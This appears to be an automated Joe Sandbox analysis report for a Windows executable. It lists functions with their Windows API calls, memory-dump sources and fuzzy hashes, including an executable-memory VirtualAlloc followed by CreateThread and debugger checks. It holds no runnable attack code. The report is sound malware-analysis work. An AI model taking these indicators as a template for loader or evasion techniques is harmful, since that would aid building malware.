Opcode ID: fb5a6916d5fdb88133eb8e1291aaf1fd40803841e21df7c66e3c70375fc3f350
Instruction ID: bec3162aa7af16fdfd67f45ab04ebed8c67d755fe4c00a531adb3b720220b79e
Opcode Fuzzy Hash: fb5a6916d5fdb88133eb8e1291aaf1fd40803841e21df7c66e3c70375fc3f350
Instruction Fuzzy Hash: 9621E7B5A02111ABDB219B69DC41EAA3B7CAF527B4F250120E915B72D2DF3CED01C6E1

Function 00AAF87C Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(?,?,Function_0000F720,00000000,?,?), ref: 00AAF8C5
GetLastError.KERNEL32 ref: 00AAF8D1
__dosmaperr.LIBCMT ref: 00AAF8D8

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: ee94ecadfb84003f31c8d3c39ea8a909d0c1ab587695b5bf4c9717cfbfa7cfee
Instruction ID: 85866994f6eef194e1f37e8b2348b062fe6617a6cece065554060759586afe57
Opcode Fuzzy Hash: ee94ecadfb84003f31c8d3c39ea8a909d0c1ab587695b5bf4c9717cfbfa7cfee
Instruction Fuzzy Hash: FC019A72500209AFDF199FE0DC06AEE7BA8EF05360F000069B80197190DB35DE10EBA0

Function 00AC98B0 Relevance: 3.1, APIs: 2, Instructions: 93
memorysynchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,000004AC,00001000,00000040,?,?,?,?), ref: 00AC9948
GetUpdateRgn.USER32(00000000,00000000,00000000), ref: 00AC9959

Part of subcall function 00AC9000: OffsetRect.USER32(00000000,00000000,00000000), ref: 00AC910C

CreateThread.KERNELBASE(00000000,00000000,00AC98B0,00000000,00000000,00000000), ref: 00AC99EF
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?,?,?,?), ref: 00AC99F8

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: AllocCreateObjectOffsetRectSingleThreadUpdateVirtualWait
String ID:
API String ID: 3157016804-0
Opcode ID: 15e156fc27a2efbc09fa1dca328b7fe52202326b6198d9f9d6c8555d5841947b
Instruction ID: a4662a8e6863e54fad7123d4e67909a709c5a3bb47ffb05aaadd7e94525263bb
Opcode Fuzzy Hash: 15e156fc27a2efbc09fa1dca328b7fe52202326b6198d9f9d6c8555d5841947b
Instruction Fuzzy Hash: EA310971E01208ABD704DFB8ED86FAEB7B1AF45300F10422DF9016B3D2EB749A458795

Function 00AAF720 Relevance: 3.0, APIs: 2, Instructions: 38
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(00AD3A10,0000000C), ref: 00AAF733
ExitThread.KERNEL32 ref: 00AAF73A

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: 731ca46a298e6d794f4f1cf42045ba85f03b10a847b40104a47c49853b7fc46e
Instruction ID: 04e68b1a2ae172b172f72e4cc18682a57242e1108b20c84e05f561a62e9b863b
Opcode Fuzzy Hash: 731ca46a298e6d794f4f1cf42045ba85f03b10a847b40104a47c49853b7fc46e
Instruction Fuzzy Hash: 91F0C271A00208AFDB04FFF0C94AE6E7B78FF11700F100559F106972A2CB355901CB62

Function 00AB98C7 Relevance: 2.6, APIs: 2, Instructions: 71
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,00AAF745,00AD3A10,0000000C), ref: 00AB98CB
SetLastError.KERNEL32(00000000), ref: 00AB996D

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: f29ffa3e99e4cde6e53c9fe806692bf585f502ae58056e9cf1a83ce1493c23bc
Instruction ID: f760e2e1a55864de2879243fc60d8e60c8738e172b5359f849c7bab26c79ba5d
Opcode Fuzzy Hash: f29ffa3e99e4cde6e53c9fe806692bf585f502ae58056e9cf1a83ce1493c23bc
Instruction Fuzzy Hash: 9011A3316066126EAB5067F89DC6EFB365CAF017A4B10022DF225950B3EF684C0AD120

Function 00AB8D1A Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ce939ee51b5409c0992f966bb8bb52abb03060b6e10729d45f483b51c94f731
Instruction ID: b2091fed6f179959e40688fb93c5846b8d14600433fe22b64f46c8cd27104f8d
Opcode Fuzzy Hash: 4ce939ee51b5409c0992f966bb8bb52abb03060b6e10729d45f483b51c94f731
Instruction Fuzzy Hash: CD01B5777006156F9B26CF7DEC40ADA33AEABD57607688122F905DB196EF38D801C790

Function 00AB89E2 Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,?,00AB9914,00000001,00000364,?,00000005,000000FF,?,00AAF745,00AD3A10,0000000C), ref: 00AB8A23

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 2b09bdc624519e5824a42e326a7f27a69cebc40f203d97266c5c02762a50c845
Instruction ID: 541fb453fb373037b325f5ca87eb065236f2cafbf08b500c2416161ecd0f520d
Opcode Fuzzy Hash: 2b09bdc624519e5824a42e326a7f27a69cebc40f203d97266c5c02762a50c845
Instruction Fuzzy Hash: CAF0BB315142249BDB316F6E9C05BEA375CAF41BE0B168117A804AA182CF28DC00D6E1

Non-executed Functions

Function 00AC2AAF Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,00AC2DCD,00000002,00000000,?,?,?,00AC2DCD,?,00000000), ref: 00AC2B48
GetLocaleInfoW.KERNEL32(?,20001004,00AC2DCD,00000002,00000000,?,?,?,00AC2DCD,?,00000000), ref: 00AC2B71
GetACP.KERNEL32(?,?,00AC2DCD,?,00000000), ref: 00AC2B86

Strings

ACP, xrefs: 00AC2ACD
OCP, xrefs: 00AC2B03

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: ac0ce2973c66dcbc938e654a85bf1d73dfa68a2a3c02c6a4bc29a346ac4d6d2c
Instruction ID: 9f738fb34976c1acf5633b9ae697f20d70c947a02e378aaf86455f6ccf56f10c
Opcode Fuzzy Hash: ac0ce2973c66dcbc938e654a85bf1d73dfa68a2a3c02c6a4bc29a346ac4d6d2c
Instruction Fuzzy Hash: 2B21BE72600205AADB38DF69C901FA773A6FF54FA0B17852CE90ADB111EB32ED41C390

Function 00AC2C84 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00AB98C7: GetLastError.KERNEL32(?,?,00AAF745,00AD3A10,0000000C), ref: 00AB98CB
Part of subcall function 00AB98C7: SetLastError.KERNEL32(00000000), ref: 00AB996D

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00AC2D90
IsValidCodePage.KERNEL32(00000000), ref: 00AC2DD9
IsValidLocale.KERNEL32(?,00000001), ref: 00AC2DE8
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00AC2E30
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00AC2E4F

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 23e31e6de8d3a1624e67d8f0d992b30b25a29056c91609aa1be5e9b2b484ab6e
Instruction ID: b7d65fe0223fe321e1bd75fc9ec077b9f93ce497048affc21f3a3d7160882866
Opcode Fuzzy Hash: 23e31e6de8d3a1624e67d8f0d992b30b25a29056c91609aa1be5e9b2b484ab6e
Instruction Fuzzy Hash: 8A514C71A00609AFDF11EFA5CD45FAE77B8BF28700F16452DA902E7191EB7099008B61

Function 00AC2320 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00AB98C7: GetLastError.KERNEL32(?,?,00AAF745,00AD3A10,0000000C), ref: 00AB98CB
Part of subcall function 00AB98C7: SetLastError.KERNEL32(00000000), ref: 00AB996D

GetACP.KERNEL32(?,?,?,?,?,?,00AB73AD,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 00AC23E1
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00AB73AD,?,?,?,00000055,?,-00000050,?,?), ref: 00AC240C
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00AC256F

Strings

utf8, xrefs: 00AC24DE

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: ae72e2c5bb2daa9ca504c12a18a3ce1a9527ea705e33aba3dac951a9cf9e54b5
Instruction ID: d2842c6d18c601571c86686f27c51ae7291fdf31a20fbba8ad22cfc14e0bd9c3
Opcode Fuzzy Hash: ae72e2c5bb2daa9ca504c12a18a3ce1a9527ea705e33aba3dac951a9cf9e54b5
Instruction Fuzzy Hash: A571D371A00606ABDB28AB75CD46FBB77ACEF45700F16442EF506DB182EB78E941C760

Function 00AB9E36 Relevance: 6.3, APIs: 4, Instructions: 337COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00AB9EC3

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: adabab75f0cd4e4127e2d25f40a6035a1c11768978d09e5fd8cbb18de81cc5b4
Instruction ID: a2b8fcf069f21e3ed9de88304517daeadf18bd5d347b00a5743e07f3c0cd02c7
Opcode Fuzzy Hash: adabab75f0cd4e4127e2d25f40a6035a1c11768978d09e5fd8cbb18de81cc5b4
Instruction Fuzzy Hash: 89B147329042459FDB15CF28C891BFEBBB9EF69350F15826AE905AB343D235DD01CBA1

Function 00AAB73A Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00AAB746
IsDebuggerPresent.KERNEL32 ref: 00AAB812
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00AAB82B
UnhandledExceptionFilter.KERNEL32(?), ref: 00AAB835

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: d87ba596dcfb85744863a449fd760693ead0bfacacca73314b209237adb57097
Instruction ID: 8773833251e5050e5647e1e5a285c5c92eaebf632ddf75313ba225a165f97e80
Opcode Fuzzy Hash: d87ba596dcfb85744863a449fd760693ead0bfacacca73314b209237adb57097
Instruction Fuzzy Hash: 56312775D0131CDBDB20DFA4D949BCDBBB8BF08300F1041AAE40CAB291EB759A858F45

Function 00AC9000 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 348COMMON

Download Yara Rule

APIs

OffsetRect.USER32(00000000,00000000,00000000), ref: 00AC910C

Part of subcall function 00AA6510: std::_Lockit::_Lockit.LIBCPMT ref: 00AA6520
Part of subcall function 00AA6510: std::_Lockit::_Lockit.LIBCPMT ref: 00AA653A
Part of subcall function 00AA6510: std::_Lockit::~_Lockit.LIBCPMT ref: 00AA655B
Part of subcall function 00AA6510: std::_Lockit::~_Lockit.LIBCPMT ref: 00AA658A

Strings

0, xrefs: 00AC919D
Zatlat, xrefs: 00AC9050

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$OffsetRect
String ID: 0$Zatlat
API String ID: 3869574668-1547964091
Opcode ID: 9670ec1876c801b53e4281039e47e45e4ab312026eec9a4720b80218da466dc1
Instruction ID: 70e14d98b1992477ba0b459c683444e7d9697799bd859b72c982c3205582c149
Opcode Fuzzy Hash: 9670ec1876c801b53e4281039e47e45e4ab312026eec9a4720b80218da466dc1
Instruction Fuzzy Hash: 49D1AB716083809FE305DF28C999B6BBBE1AFC9308F15092DF4958B3A2D775D845CB92

Function 00AC2733 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00AB98C7: GetLastError.KERNEL32(?,?,00AAF745,00AD3A10,0000000C), ref: 00AB98CB
Part of subcall function 00AB98C7: SetLastError.KERNEL32(00000000), ref: 00AB996D

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00AC2787
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00AC27D1
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00AC2897

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 58105d084d0629a86846e9832206570e13024afc4532d029d6ff0f7e39bf7ea7
Instruction ID: e0c9564781bdf3f293cd4b9321e1ee9228a75782e3a47a4a9d4a8ebe584a76ae
Opcode Fuzzy Hash: 58105d084d0629a86846e9832206570e13024afc4532d029d6ff0f7e39bf7ea7
Instruction Fuzzy Hash: 776169759102179FEB28DF29CD82FBAB7A8EF04300F1580BDE915D6185EB78E985CB50

Function 00AB2CC3 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000010), ref: 00AB2DBB
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000010), ref: 00AB2DC5
UnhandledExceptionFilter.KERNEL32(00AD3748,?,?,?,?,?,00000010), ref: 00AB2DD2

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 041ebe405d9ad90f1fd93e6a10fab42690f5ae0e54eff5065bbae5df231040c4
Instruction ID: 111acacb5a5fd0ba1cc0cfe43b4203ee07f1ae5fbd3ea82a7c3b741718a2c0ee
Opcode Fuzzy Hash: 041ebe405d9ad90f1fd93e6a10fab42690f5ae0e54eff5065bbae5df231040c4
Instruction Fuzzy Hash: 8331D47490121C9BCB21DF68DD88BDCBBB8BF18310F5041EAE41CA7291EB749B858F45

Function 00ABF79D Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23d608ebba7789104410d6c6982011dd5f20ec20b495657e356f27138eb28116
Instruction ID: 0ae122e3a3b20d4ff5dfa7e608d35a7f112cd33309ea08c7b7eded9493033ba6
Opcode Fuzzy Hash: 23d608ebba7789104410d6c6982011dd5f20ec20b495657e356f27138eb28116
Instruction Fuzzy Hash: 5741A575C0521DAEDF20DF79CC89AEABBBCAF45304F1842E9E459D3202DA359E858F50

Function 00AC2986 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00AB98C7: GetLastError.KERNEL32(?,?,00AAF745,00AD3A10,0000000C), ref: 00AB98CB
Part of subcall function 00AB98C7: SetLastError.KERNEL32(00000000), ref: 00AB996D

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00AC29DA

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 1c89719a6a4f8452a16fe521a66632868412371b6a1eacdc538c8605e714ece5
Instruction ID: dba522015469bda767c85da9a7f27683c11c2e4c8aea40355c78bff743ea6488
Opcode Fuzzy Hash: 1c89719a6a4f8452a16fe521a66632868412371b6a1eacdc538c8605e714ece5
Instruction Fuzzy Hash: 1421BE72610206ABDF28DB25CD42FBA73ACEF04350F11007EF902D6152EB34ED018B50

Function 00AC260D Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00AB98C7: GetLastError.KERNEL32(?,?,00AAF745,00AD3A10,0000000C), ref: 00AB98CB
Part of subcall function 00AB98C7: SetLastError.KERNEL32(00000000), ref: 00AB996D

EnumSystemLocalesW.KERNEL32(00AC2733,00000001,00000000,?,-00000050,?,00AC2D64,00000000,?,?,?,00000055,?), ref: 00AC267F

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: beee890e9f43970ea6f9ce0e4606b7cfabb1ac5381d155987d226775a5f48e3f
Instruction ID: 59be521444183ba260853b1571f42bea2ca4cd20004de21f8cff45425dfee765
Opcode Fuzzy Hash: beee890e9f43970ea6f9ce0e4606b7cfabb1ac5381d155987d226775a5f48e3f
Instruction Fuzzy Hash: E4110C3B6047059FDB189F39C8D5BBABB92FF84358B16442CE98647A40D7717943C750

Function 00AC2BB5 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00AB98C7: GetLastError.KERNEL32(?,?,00AAF745,00AD3A10,0000000C), ref: 00AB98CB
Part of subcall function 00AB98C7: SetLastError.KERNEL32(00000000), ref: 00AB996D

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00AC294F,00000000,00000000,?), ref: 00AC2BE1

Memory Dump Source

Source File: 00000004.00000002.2304487503.0000000000AA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000004.00000002.2304467854.0000000000AA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304517289.0000000000ACA000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304602444.0000000000AD5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.2304673417.0000000000BB8000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa0000_leg222.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: f444a6ff521a5b6e35fbb7a0325c96786aba3884bb6c609a214dd7a76b4819a4
Instruction ID: 6ec9bcd7b716df4d47946b1b5dddc0e6e060a18bf69f734cf7bec1256291b4a7
Opcode Fuzzy Hash: f444a6ff521a5b6e35fbb7a0325c96786aba3884bb6c609a214dd7a76b4819a4
Instruction Fuzzy Hash: C0F08636904216ABDB289B65CC46FFE7B68EB40754F16443CED15A3140EA74FD81C7E0

Function 00AC251B Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00AB98C7: GetLastError.KERNEL32(?,?,00AAF745,00AD3A10,0000000C), ref: 00AB98CB
Part of subcall function 00AB98C7: SetLastError.KERNEL32(00000000), ref: 00AB996D

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00AC256F

Strings

utf8, xrefs: 00AC24DE

Memory Dump Source

